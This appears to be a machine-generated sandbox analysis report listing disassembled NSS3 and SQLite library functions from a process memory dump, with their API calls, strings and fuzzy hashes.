Instruction ID: 83e156df784811da21c4db4f529c0b84ddc1a1423dd07e7765203734934935cd
Opcode Fuzzy Hash: 289164870b0241f1459d04b869d0ad02f02522978031b45694acd8a1dd060f96
Instruction Fuzzy Hash: 9B012CB0A02B0646E756EBB94810FE776F85F1128EF10043D9469C6B44EF25D4098BE1

Function 6C3FAE30 Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 231COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CDD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C3FAFDA

Strings

unable to delete/modify collation sequence due to active statements, xrefs: 6C3FAF5C
misuse, xrefs: 6C3FAFCE
%s at line %d of [%.10s], xrefs: 6C3FAFD3
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C3FAFC4

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse$unable to delete/modify collation sequence due to active statements
API String ID: 632333372-924978290
Opcode ID: 1cd1b3dd7dfad72384f272e00490b4e087c5f8db368bb4032169765fa848345d
Instruction ID: a4cde4e02ec9e2dd97cd54e373b6cb6bdb52821e14e0c56e4d158eef5f1c85a0
Opcode Fuzzy Hash: 1cd1b3dd7dfad72384f272e00490b4e087c5f8db368bb4032169765fa848345d
Instruction Fuzzy Hash: D991D1B5A003158FDB04CF19C850AAAB7F1BF49318F1989A8E865AF751D335ED02CF60

Function 6C4249C0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 97COMMON

Download Yara Rule

APIs

Part of subcall function 6C424860: SEC_QuickDERDecodeItem_Util.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C424894

PR_SetError.NSS3(FFFFE006,00000000,?,?,?,?,?,6C426361,?,?,?), ref: 6C424A8F
PR_SetError.NSS3(FFFFE006,00000000,?,?,?,?,?,6C426361,?,?,?), ref: 6C424AD0

Strings

acBl, xrefs: 6C424AB4
^jBl, xrefs: 6C4249C5
acBl, xrefs: 6C4249FB

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: Error$DecodeItem_QuickUtil
String ID: ^jBl$acBl$acBl
API String ID: 1982233058-192422009
Opcode ID: f56c9e7b4f3d7e36b3e13b22b2658d53d6883e90a2cf9b48c5ad74775b38def6
Instruction ID: a4ffdf5eaf8f67f4cd7f7929eb8e89e57d85344bec172d3bd4fc32997fa9176a
Opcode Fuzzy Hash: f56c9e7b4f3d7e36b3e13b22b2658d53d6883e90a2cf9b48c5ad74775b38def6
Instruction Fuzzy Hash: 8631F930A0410597FB14CA88EC92F7E7275EB81359F205A3EDD15F7BC1C63C9845879A

Function 6C486DE0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 88COMMON

Download Yara Rule

APIs

PR_MillisecondsToInterval.NSS3(?), ref: 6C486E36
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C486E57

Part of subcall function 6C4BC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C4BC2BF

PR_MillisecondsToInterval.NSS3(?), ref: 6C486E7D
PR_MillisecondsToInterval.NSS3(?), ref: 6C486EAA

Strings

nRl, xrefs: 6C486DF9

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: IntervalMilliseconds$ErrorValue
String ID: nRl
API String ID: 3163584228-1839644333
Opcode ID: 731036aab7eb9b7bcbf181f66049831df4ac16433e464fd9c989abcd6801b223
Instruction ID: 42700f4a4bd6f4cef9e0893036398dd94ba6564bedfcbfcf55211cf858b17c4a
Opcode Fuzzy Hash: 731036aab7eb9b7bcbf181f66049831df4ac16433e464fd9c989abcd6801b223
Instruction Fuzzy Hash: D231D131622512EADB959E34CC04FE6B7A5AB0131BF10063CD499D6B40EB31F454CBA1

Function 6C4BA8F0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 81COMMON

Download Yara Rule

APIs

PK11_FreeSymKey.NSS3(?,00000000,00000000,?,?,6C4A2AE9,00000000,0000065C), ref: 6C4BA91D

Part of subcall function 6C45ADC0: TlsGetValue.KERNEL32(?,6C43CDBB,?,6C43D079,00000000,00000001), ref: 6C45AE10
Part of subcall function 6C45ADC0: EnterCriticalSection.KERNEL32(?,?,6C43CDBB,?,6C43D079,00000000,00000001), ref: 6C45AE24
Part of subcall function 6C45ADC0: PR_Unlock.NSS3(?,?,?,?,?,?,6C43D079,00000000,00000001), ref: 6C45AE5A
Part of subcall function 6C45ADC0: memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6C43CDBB,?,6C43D079,00000000,00000001), ref: 6C45AE6F
Part of subcall function 6C45ADC0: free.MOZGLUE(85145F8B,?,?,?,?,6C43CDBB,?,6C43D079,00000000,00000001), ref: 6C45AE7F
Part of subcall function 6C45ADC0: TlsGetValue.KERNEL32(?,6C43CDBB,?,6C43D079,00000000,00000001), ref: 6C45AEB1
Part of subcall function 6C45ADC0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6C43CDBB,?,6C43D079,00000000,00000001), ref: 6C45AEC9

PK11_FreeSymKey.NSS3(?,00000000,00000000,?,?,6C4A2AE9,00000000,0000065C), ref: 6C4BA934
SECITEM_ZfreeItem_Util.NSS3(?,00000000,00000000,00000000,?,?,6C4A2AE9,00000000,0000065C), ref: 6C4BA949
free.MOZGLUE(?,00000000,0000065C), ref: 6C4BA952

Strings

*Jl, xrefs: 6C4BA8F6

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: CriticalEnterFreeK11_SectionValuefree$Item_UnlockUtilZfreememset
String ID: *Jl
API String ID: 1595327144-1343703228
Opcode ID: 309541e5473282f888590ea80160367a10d5910f38522cd0b0c2458321f31fdf
Instruction ID: 0758455845f6c3c5fb6d955e7eccb5ea859feadefff53273b1fbffc2fe25323b
Opcode Fuzzy Hash: 309541e5473282f888590ea80160367a10d5910f38522cd0b0c2458321f31fdf
Instruction Fuzzy Hash: 783137B46012019FDB04CF29D990E62BBE8FF48319B1585A9E8099F756E730E815CFA1

Function 6C4EA800 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 65COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000001,?,?,?,?,?,?,?,?,6C3B7915,?,?), ref: 6C4EA86D
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010800,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,?,?,?,?,?,?,?,6C3B7915,?,?), ref: 6C4EA8A6

Strings

database corruption, xrefs: 6C4EA89B
%s at line %d of [%.10s], xrefs: 6C4EA8A0
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C4EA891

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 912837312-598938438
Opcode ID: e04a837eb390752e46bec01255b4cff3d1e8be53b55a02d18c331041c51c2edd
Instruction ID: 81a7ef120cb1939d5588e984b939717cc328efb27ea98bf6358f504ea0f16e50
Opcode Fuzzy Hash: e04a837eb390752e46bec01255b4cff3d1e8be53b55a02d18c331041c51c2edd
Instruction Fuzzy Hash: F4110371A00214ABDB05CF21DC40EAEBBB1FF89355F018429FC494BB91EB34A916CB92

Function 6C400DC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 51stringCOMMON

Download Yara Rule

APIs

strrchr.VCRUNTIME140(00000000,0000005C,00000000,00000000,00000000,?,6C400BDE), ref: 6C400DCB
strrchr.VCRUNTIME140(00000000,0000005C,?,6C400BDE), ref: 6C400DEA
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(00000001,00000001,?,?,?,6C400BDE), ref: 6C400DFC
PR_LogPrint.NSS3(%s incr => %d (find lib),?,?,?,?,?,?,?,6C400BDE), ref: 6C400E32

Strings

%s incr => %d (find lib), xrefs: 6C400E2D

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: strrchr$Print_stricmp
String ID: %s incr => %d (find lib)
API String ID: 97259331-2309350800
Opcode ID: b35dc33cad59b734bc116ac9cf458944a18dcba1bbe807f9aca7a125c559befc
Instruction ID: 0c43eb98ebfbe1f04805ce6ef8190d20bac68da27ee7e7eea054bf0f371b8864
Opcode Fuzzy Hash: b35dc33cad59b734bc116ac9cf458944a18dcba1bbe807f9aca7a125c559befc
Instruction Fuzzy Hash: 7D01B1727402209FEB20DF259C45E6773E8DB85A09B05487EE909E3B81E7A1FC558AE1

Function 6C4BAC00 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 45COMMON

Download Yara Rule

APIs

PK11_FreeSymKey.NSS3(?,@]Jl,00000000,?,?,6C496AC6,?), ref: 6C4BAC2D

Part of subcall function 6C45ADC0: TlsGetValue.KERNEL32(?,6C43CDBB,?,6C43D079,00000000,00000001), ref: 6C45AE10
Part of subcall function 6C45ADC0: EnterCriticalSection.KERNEL32(?,?,6C43CDBB,?,6C43D079,00000000,00000001), ref: 6C45AE24
Part of subcall function 6C45ADC0: PR_Unlock.NSS3(?,?,?,?,?,?,6C43D079,00000000,00000001), ref: 6C45AE5A
Part of subcall function 6C45ADC0: memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6C43CDBB,?,6C43D079,00000000,00000001), ref: 6C45AE6F
Part of subcall function 6C45ADC0: free.MOZGLUE(85145F8B,?,?,?,?,6C43CDBB,?,6C43D079,00000000,00000001), ref: 6C45AE7F
Part of subcall function 6C45ADC0: TlsGetValue.KERNEL32(?,6C43CDBB,?,6C43D079,00000000,00000001), ref: 6C45AEB1
Part of subcall function 6C45ADC0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6C43CDBB,?,6C43D079,00000000,00000001), ref: 6C45AEC9

PK11_FreeSymKey.NSS3(?,@]Jl,00000000,?,?,6C496AC6,?), ref: 6C4BAC44
SECITEM_ZfreeItem_Util.NSS3(8CB6FF15,00000000,@]Jl,00000000,?,?,6C496AC6,?), ref: 6C4BAC59
free.MOZGLUE(8CB6FF01,6C496AC6,?,?,?,?,?,?,?,?,?,?,6C4A5D40,00000000,?,6C4AAAD4), ref: 6C4BAC62

Strings

@]Jl, xrefs: 6C4BAC05

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: CriticalEnterFreeK11_SectionValuefree$Item_UnlockUtilZfreememset
String ID: @]Jl
API String ID: 1595327144-2426843198
Opcode ID: ab3ed7edea6df992cfceac5a2a057cd26cb1473c7e1f66b408bd505794e33d5b
Instruction ID: 3730214e3ba5b0a325aab14eef7ded55e1b4b081220f2af0557111e24155a50b
Opcode Fuzzy Hash: ab3ed7edea6df992cfceac5a2a057cd26cb1473c7e1f66b408bd505794e33d5b
Instruction Fuzzy Hash: AA0178B56002009BDB00DF19E8C0F5677B8AF04B19F188068E9499F706D730F808CBB1

Function 6C392940 Relevance: 7.8, APIs: 6, Instructions: 327stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,6C391360,00000000), ref: 6C392A19
memcpy.VCRUNTIME140(?,00000009,00000034,?,?,?,6C391360,00000000), ref: 6C392A45
memcpy.VCRUNTIME140(?,00000000,00000000), ref: 6C392A7C

Part of subcall function 6C392D50: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,8327CEB7,?,?,00000000,?,6C39296E), ref: 6C392DA4

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C392AF3
memcpy.VCRUNTIME140(?,00000009,0000000C,?,?,?,6C391360,00000000), ref: 6C392B71
memset.VCRUNTIME140(00000000,00000000,00000034), ref: 6C392B90

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: memcpystrlen$memset
String ID:
API String ID: 638109778-0
Opcode ID: d56189955997802a1294c5d9947160f4be7d59538da06ca2bc84a20b7caeb263
Instruction ID: 111e457d9b6da1dcb8d8d15b1a1d412cc98bcc30613976892e3868a6bd2baf22
Opcode Fuzzy Hash: d56189955997802a1294c5d9947160f4be7d59538da06ca2bc84a20b7caeb263
Instruction Fuzzy Hash: F6C1D571F016068BEB04CF69C994BAAF7B5AF89308F158229D9159B741E732DC41CFD1

Function 6C3AA910 Relevance: 7.7, APIs: 5, Instructions: 241COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 28c417ad0e4fcd4d213e0dcb52314103ba372d729083e849f7fbf6fb496bc481
Instruction ID: 02366359da89ff105c450e52c94fab448a6402db77cd5a38056a029927ffab73
Opcode Fuzzy Hash: 28c417ad0e4fcd4d213e0dcb52314103ba372d729083e849f7fbf6fb496bc481
Instruction Fuzzy Hash: 1391BF32B00204CFEB09DFA5DC99B7A77B5FB06318F05012DD5464BA50DB39A896CFA5

Function 6C42C9E0 Relevance: 7.6, APIs: 5, Instructions: 132COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,?,?,00000000), ref: 6C42CA21
EnterCriticalSection.KERNEL32(0000001C), ref: 6C42CA35
PR_Unlock.NSS3(00000000), ref: 6C42CA66
PR_SetError.NSS3(FFFFE041,00000000,00000000,?,?,00000000), ref: 6C42CA77
PR_Unlock.NSS3(00000000), ref: 6C42CAFC

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: Unlock$CriticalEnterErrorSectionValue
String ID:
API String ID: 1974170392-0
Opcode ID: 9f2424b220f1f7ca65d24de0f9f61eaf1576e64d8680dc38d1f3e522d98ba312
Instruction ID: 11a73c29f7822e1a18b86ef1e2fb2129e10acf7bfbec4e0c52f4c603337cc472
Opcode Fuzzy Hash: 9f2424b220f1f7ca65d24de0f9f61eaf1576e64d8680dc38d1f3e522d98ba312
Instruction Fuzzy Hash: 3B41C175E002059BEB00EF68DC42FAB7BB4AF45398F154168ED18A7711EB35E911CBE1

Function 6C40EDE0 Relevance: 7.6, APIs: 5, Instructions: 97COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C40EDFD
calloc.MOZGLUE(00000001,00000000), ref: 6C40EE64
PR_SetError.NSS3(FFFFE8AC,00000000), ref: 6C40EECC
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C40EEEB
free.MOZGLUE(?), ref: 6C40EEF6

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: ErrorValuecallocfreememcpy
String ID:
API String ID: 3833505462-0
Opcode ID: b714cd4236a16226c98737acd9c7333e4bda1930670f52acb612f7a5e311f27d
Instruction ID: e993561bd826ba3380cd6816e4daa53a43610afbbd405965a79afbee450e9a35
Opcode Fuzzy Hash: b714cd4236a16226c98737acd9c7333e4bda1930670f52acb612f7a5e311f27d
Instruction Fuzzy Hash: 7E310171B402049BEB20DF29CC84F663BF4FB46306F050638E99A87B50D731A861CBE1

Function 6C41AD90 Relevance: 7.6, APIs: 5, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(00000000,?,6C413FFF,00000000,?,?,?,?,?,6C411A1C,00000000,00000000), ref: 6C41ADA7

Part of subcall function 6C4714C0: TlsGetValue.KERNEL32 ref: 6C4714E0
Part of subcall function 6C4714C0: EnterCriticalSection.KERNEL32 ref: 6C4714F5
Part of subcall function 6C4714C0: PR_Unlock.NSS3 ref: 6C47150D

PORT_ArenaAlloc_Util.NSS3(00000000,00000020,?,?,6C413FFF,00000000,?,?,?,?,?,6C411A1C,00000000,00000000), ref: 6C41ADB4

Part of subcall function 6C4710C0: TlsGetValue.KERNEL32(?,6C418802,00000000,00000008,?,6C40EF74,00000000), ref: 6C4710F3
Part of subcall function 6C4710C0: EnterCriticalSection.KERNEL32(?,?,6C418802,00000000,00000008,?,6C40EF74,00000000), ref: 6C47110C
Part of subcall function 6C4710C0: PL_ArenaAllocate.NSS3(?,?,?,6C418802,00000000,00000008,?,6C40EF74,00000000), ref: 6C471141
Part of subcall function 6C4710C0: PR_Unlock.NSS3(?,?,?,6C418802,00000000,00000008,?,6C40EF74,00000000), ref: 6C471182
Part of subcall function 6C4710C0: TlsGetValue.KERNEL32(?,6C418802,00000000,00000008,?,6C40EF74,00000000), ref: 6C47119C

SECITEM_CopyItem_Util.NSS3(00000000,?,6C413FFF,?,?,?,?,6C413FFF,00000000,?,?,?,?,?,6C411A1C,00000000), ref: 6C41ADD5

Part of subcall function 6C46FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C468D2D,?,00000000,?), ref: 6C46FB85
Part of subcall function 6C46FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C46FBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6C5394B0,?,?,?,?,?,?,?,?,6C413FFF,00000000,?), ref: 6C41ADEC

Part of subcall function 6C46B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C5418D0,?), ref: 6C46B095

PR_SetError.NSS3(FFFFE022,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,6C413FFF), ref: 6C41AE3C

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: Util$Arena$Value$Alloc_CriticalEnterErrorItem_SectionUnlock$AllocateCopyDecodeMark_Quickmemcpy
String ID:
API String ID: 2372449006-0
Opcode ID: 4d2419c457f64b897ad5778da1cf4fd1c1ee984881e1f35ce2da8c0333904e1b
Instruction ID: 38e0f6aac7014683045becaa88cb94026102b8b06432271307d9b28ce3be56af
Opcode Fuzzy Hash: 4d2419c457f64b897ad5778da1cf4fd1c1ee984881e1f35ce2da8c0333904e1b
Instruction Fuzzy Hash: 88113072E043142BE710DA699C41FFF73B89F9124DF00422CE89996F41FB20E95D82E2

Function 6C468800 Relevance: 7.6, APIs: 5, Instructions: 68COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,6C47085A,00000000,?,6C418369,?), ref: 6C468821
TlsGetValue.KERNEL32(?,?,6C47085A,00000000,?,6C418369,?), ref: 6C46883D
EnterCriticalSection.KERNEL32(?,?,?,6C47085A,00000000,?,6C418369,?), ref: 6C468856
PR_WaitCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000013,?), ref: 6C468887
PR_Unlock.NSS3(?,?,?,?,6C47085A,00000000,?,6C418369,?), ref: 6C468899

Part of subcall function 6C4007A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C39204A), ref: 6C4007AD
Part of subcall function 6C4007A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C39204A), ref: 6C4007CD
Part of subcall function 6C4007A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C39204A), ref: 6C4007D6
Part of subcall function 6C4007A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C39204A), ref: 6C4007E4
Part of subcall function 6C4007A0: TlsSetValue.KERNEL32(00000000,?,6C39204A), ref: 6C400864
Part of subcall function 6C4007A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C400880
Part of subcall function 6C4007A0: TlsSetValue.KERNEL32(00000000,?,?,6C39204A), ref: 6C4008CB
Part of subcall function 6C4007A0: TlsGetValue.KERNEL32(?,?,6C39204A), ref: 6C4008D7
Part of subcall function 6C4007A0: TlsGetValue.KERNEL32(?,?,6C39204A), ref: 6C4008FB

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
